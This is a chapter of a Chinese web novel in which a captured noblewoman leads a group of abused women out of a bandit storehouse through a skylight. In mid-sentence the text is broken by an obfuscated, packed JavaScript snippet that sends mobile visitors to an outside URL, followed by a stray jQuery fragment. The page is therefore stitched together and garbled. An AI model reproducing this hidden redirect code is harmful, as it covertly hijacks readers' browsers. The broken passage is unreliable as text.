文趣网 > 其他小说 > 二嫁疯犬小叔后 > 51. 第五十一章
    枯树林里光秃秃的枝干藏不住眼前贼寇的野心,大刀舔血,不过眨眼之间,就将沈漪马车上的一马一人斩杀车前。

    一眼看过去,她的马车被团团包围了三层,作乱贼寇约莫半百之数,个个腰上斜挎箭袋,搭弓拉箭,蓄势待发。

    “只有一个女人!”带头探查的小胡子生得矮小,看上去年纪也不小了,说话时却叽叽喳喳,闹腾得沈漪脑袋疼。

    “俊俏得紧。”第二个查看的人,长枪往里挑,枪身越过车帘,直击沈漪后背车壁。

    他生得俊朗,声音却粗厚,带着一股鄙夷的蛮横。

    那一杆粗枪如钉扎入,木屑钻孔掉落,发出沉闷的声音,随着那人粗臂一抖,枪身悬空振动,将把车壁四面撞开,如同被强行掰开的花苞。

    沈漪腹中发麻,翻江倒海般闹腾,双股战战,却不敢动弹。

    长缨枪落回青年手上,冷声道:“把她献给大王。”

    那些起哄喧闹的声音,响彻枯林,她就如同货物般,被塞进了他们一路抢夺来的货物车厢之中。

    尽管她只是一个小小女子,捆绑时,依旧拿了手指那么粗的麻花绳,把她双手压到后边严严实实地绑住。

    一只不干不净的手在她身上游离了几下,色迷迷的打量更让人无法容忍。

    沈漪一口唾沫吐了过去,双腿用力一蹬,把给她绑绳子的人踢出好几步之外。

    “臭娘们!”那人站起身一巴掌甩来,重得沈漪有那么一瞬间都觉得自己的魂都被扇飞出了体外。

    发黄的啮鼠牙龅着,满口喷着飞沫就要再给她巴掌,却被方才长枪青年横臂一拦,他眉目硬朗,颇有行伍之姿,生得又高大,自然明白其中发生何事。

    “这是大王的女人,轮得到你玷?”他一边说一边从怀中掏出小刀,话音才落,那人的耳朵就掉了下来。

    坠落在地时,惨叫连连,却不得不跪着求饶。

    “秦将军饶命!秦将军饶命啊!”

    龅牙男被削了耳朵,却不敢反抗,只能低头求饶。

    沈漪被关在货物堆之中,黑漆漆的,身边堆满了抢来的吃穿之物,各种味道混杂,很是难闻。

    干燥的空气吸入肺里,冷冰冰的,她咳嗽了几声。

    车厢门半开。

    瞬间,透进明亮的光线,与开门的裴将军相对而视,他收了枪,一言不发地驾马往前走。

    这个贼窝好奇怪,竟有这样天生神力之人,窝在其中害民,何止屈才,简直浪费。

    还未到敦煌,沈漪望着映入目中的萧条,如今自己又入困境,不免心生悔恨,早知她在上一处就单独取道衡阳。

    可一路上山,沈漪见人烟所至,皆是烧杀掠夺,无一处好居所。她这才明白过来,在她垂头赶路的短短几日里,烽烟熊熊燃烧,早没了一处平安的所在。

    无论她取道衡阳,还是别处,都如同炼狱般,战火迅速在全国上下蔓延,炙烤着大晟的最后一分安宁,换取他们的势力范围。

    沈漪被押送进仓库里时,屋子里大大小小关押着十几个衣衫不整的女子。

    缩作一团,躲在堆满木箱的角落里,你挤着我,我挤着你,都不愿意上前查看被丢在地上的沈漪。

    大门合上,最后一抹光亮从沈漪脸上离去时,她眼前一黑,便如掉入深不见底的山洞里,冷飕飕的,手掌下是硬邦邦的石砖。

    待到沈漪适应了眼前黑暗,才看清这里除了箱子杂物,也就是那些慌不择路的女子们。

    地上放着一盆清水,边上漫出湿着,连小碗都没有。可想而知,人喝水时,就如同狗一般,凑过去低头饮用。

    加之他们在这些女子身上的掠夺,简直连一刻也没有将她们当做人看待。

    见沈漪是单独被丢进来的,那些人并不如以往那般随机将她们之中几人带出去凌辱,十几个女子都松了一口气。

    好像逃过了一次未知的劫数。

    她们脸上的惊慌淡了下去,一抹死寂的沉默,代替了方才的紧张。

    沈漪原本也紧张得满腹绞痛,想着若是被送到他们山大王那里去,就拿手中匕首一试,如同她那夜对周韫行那般。

    所幸,这帮人只是把她暂时关押在此。

    沈漪站起身,因为过分紧张而一片空白的头脑渐渐恢复了些许神智,她自小在闺阁之中,从未来过这般粗野之地,如今要逃,她也不知道从何做起。

    只能先透过门缝查看,可见外边站着两个把守的士兵,方才她被押送进来时,他们就一本正经地守着仓库,目不斜视,很是恐惧。

    环视了一圈黑压压的室内,整个仓库是单独的一栋小楼,大概从前是养鸡的,只有一扇门和远远一个天窗,两处出口而已。

    门口有守卫,又锁着,她自然逃不脱。

    因此那高高在上的天窗,就是她唯一的出路。

    ”撕拉——“一声,沈漪裙角衣摆被她用匕首割破了一大半,自膝盖以下,都断成了两截,柔柔地贴在她手上。

    几道奇异的目光落在她身上。

    不等她们发问,沈漪就回眸看去那依旧挤成一团的女子堆,压低了声音,指了指天窗,道:“我们把箱子垫高了,逃出去。”

    这些女子年纪不大,看上去不过三十出头,头上襟布发带束发,是典型的边关女子之打扮。

    “此处离敦煌多远?”沈漪捏了捏手里断布,岔开话题。

    其中几人与她年岁相仿,又听她提起敦煌,顿时来了些兴致。明明又惧又怕,还是朝她走了一步:“还有五十里路。“

    作为西域最大的关口,敦煌承载了战火,也锁住了最后的防线。在此刻四处硝烟的时候,这样的边塞大城,反而成了众人心中最后的朝圣地。

    夜色越深,山大王回来时,众人就多一分危险。

    “我们从这里逃出去。”沈漪压下嗓子里的干涩,指了指眼前两人那么高的天窗。

    却无人应答。

    沈漪开口道:“横竖都是一死,与其等死,不如试一试。”

    可依旧无人跟上她。

    几人后退了一步,倒显得一个十余岁的小丫头站在了前边,就好像是她自告奋勇要与沈漪逃跑一般。

    等小环反应过来,沈漪已经自顾自拉住了她的手,鼓励道:“不怕,我有办法,我们一起回去。”

    小环年轻,心底却也想离开,如今被沈漪抓住了,也就半推半就地配合着。

    沈漪先是用地上水盆的水,沾湿了自己撕下来的布料,二人再合力把一只结实的箱子,悄无声息地移到了窗下。

    一切准备就绪,沈漪就要站上去,让小环踩着自己往上爬。

    “你们走吧,我在底下扛住你们。”一个身形圆润的娘子,衣袖烂了一只,露出一截手臂,上面有两道粗瓦砾划过的伤口。

    她站出来,面容坚毅,未等沈漪回答,就已然扶着墙壁,对着墙壁扎起了马步,示意小环从她身上爬上去。

    来不及感谢她,沈漪只是略略点头致意,就接受了那位大娘的善意。

    因为小环体量轻,爬上去时,底下的人也好支撑些。

    可危难的是,小环力气也小,就算上得去,把湿布都拧干了,都掰不动那天窗的铁柱子。

    正不知道如何是好时,沈漪忽然想起,在江南时,她见过纤夫沾湿绳子后拿粗木棒搅动船绳。

    木头硬,比起湿布更好抓握和施力。

    “用木头搅住湿布,可以省力些。”沈漪小声

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17705025|204019||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    开口,一边把自己的匕首递了上去。

    可刀身仍旧不够粗壮,脆若柳枝,根本掰不动粗厚的铁柱。

    随即她在仓库里环视了一周,想寻一根粗壮的木头,却发现毫无收获。

    放眼看去,皆是七零八落的碎屑、空荡荡的木箱子,胡乱地堆着。

    屋外脚步声渐行渐远。

    是他们换岗吃饭的声音。

    如今守卫最是松懈,若是此刻不逃,今夜也难逃一祸。

    沈漪深吸了一口气,闭眸回想,到底何处能寻到木头。

    片刻后,一道怯懦的声音响起:“用我这根簪子吧。”

    顺着声音看去,昏暗冰冷的仓库里,一个清瘦的姑娘双目红肿,手心摊着一枚银簪,细细一根。

    沈漪正要开口说银饰湿软,无力支撑时,又有一姑娘递出了她的木簪:“我这个是木簪,用我的,坏了也不心疼。”

    “我也有。”

    “还有我。”

    方才还不愿意配合沈漪的女子们,都压住心底的恐惧,选择与她站在了一边。

    所有人都把头上的簪子拔了下来,有人头发散落,单手挽着,也有人双目不舍,盯着仅剩的物什。

    谁也不知道,如此千辛万苦从贼窝逃出来后,回去的家,是怎样的光景在等着她们。

    或许眼下这簪子,就是她们家人给自己最后的想念了。

    可为了此刻存亡,万物皆可抛。

    沈漪深呼出一口气,把自己的玉簪也拔了下来,将十几个簪子拿布条与匕首缠绕在一起,成了粗壮的一捆,便如同一根最粗壮的木头。

    小环一圈一圈地拧着,从最开始的轻松,到最后咬牙切齿,几乎要把牙关咬碎,脚下也摇摇晃晃要站不稳,终于把铁柱拉开了一个小口子。

    “可以了!”沈漪低着声音,众人十指相牵,不敢高声庆贺,可黑暗也掩藏不住她们眼中的兴奋,如同跃动的光斑,在黑夜里点亮了一抹光晕。

    直到十几人顺着天窗咬牙跃下,沈漪扎着马步,对一直在底下做支撑的宋大娘道:“大娘,你先踩着我上去,然后再拖我。”

    宋大娘眼眶一红,摇摇头,道:“你出去吧,我留下来替你们看着。”

    明明只有一人的距离,就能找到光明,为何要留在这苦难之中?沈漪望了望宋大娘消沉的神色,大约明白她的顾虑。

    她心头微颤,把宋大娘抱在怀里,轻声道:“无论何时,女子受辱,都不是我们的错,不要苛责自己。”

    “就算是一夜、一次,哪怕是千百次,都与我们无关,该反省的不是我们,是那些犯下滔天恶行的人。”沈漪捂住了宋大娘双耳,让她能更清楚地听到自己胸腔里蓬勃燃起的心声。

    沉稳有力的心跳,每一瞬都在说她要自由,要像人一样活着。

    “我们走。”沈漪替她擦了擦眼泪,即使她比宋大娘年轻许多,此刻却还是如同陷入失贞自责旋涡的宋大娘的姐姐般,拖着她的手,走出这一片黑夜。

    十几人相互搀扶,好在其中有许多常年山间大柴的姑娘,对夜间山路很是熟悉,她们借着夜色,冒着腰,一路从荒无人烟的小径下山。

    行至官道旁,望着山头火光,沈漪腿脚这才一软,原来她也能自己逃出贼窝。

    明明走出了一个山头,从准备逃离到一路下山,沈漪都不曾颤抖过一瞬。如今低头一看,双手却抖动如筛,整个人都快要站不稳了。

    身后红丹接住了她下坠的身子,还未等众人真正开心起来,一声急促哨声,自山顶猛然传来。

    像是发现了她们逃离的恼羞成怒,叫嚣着要把她们剁了喂狼。

    纷扰的喧闹声如雪崩,惊得山脚下众人头皮发麻,腿股发软。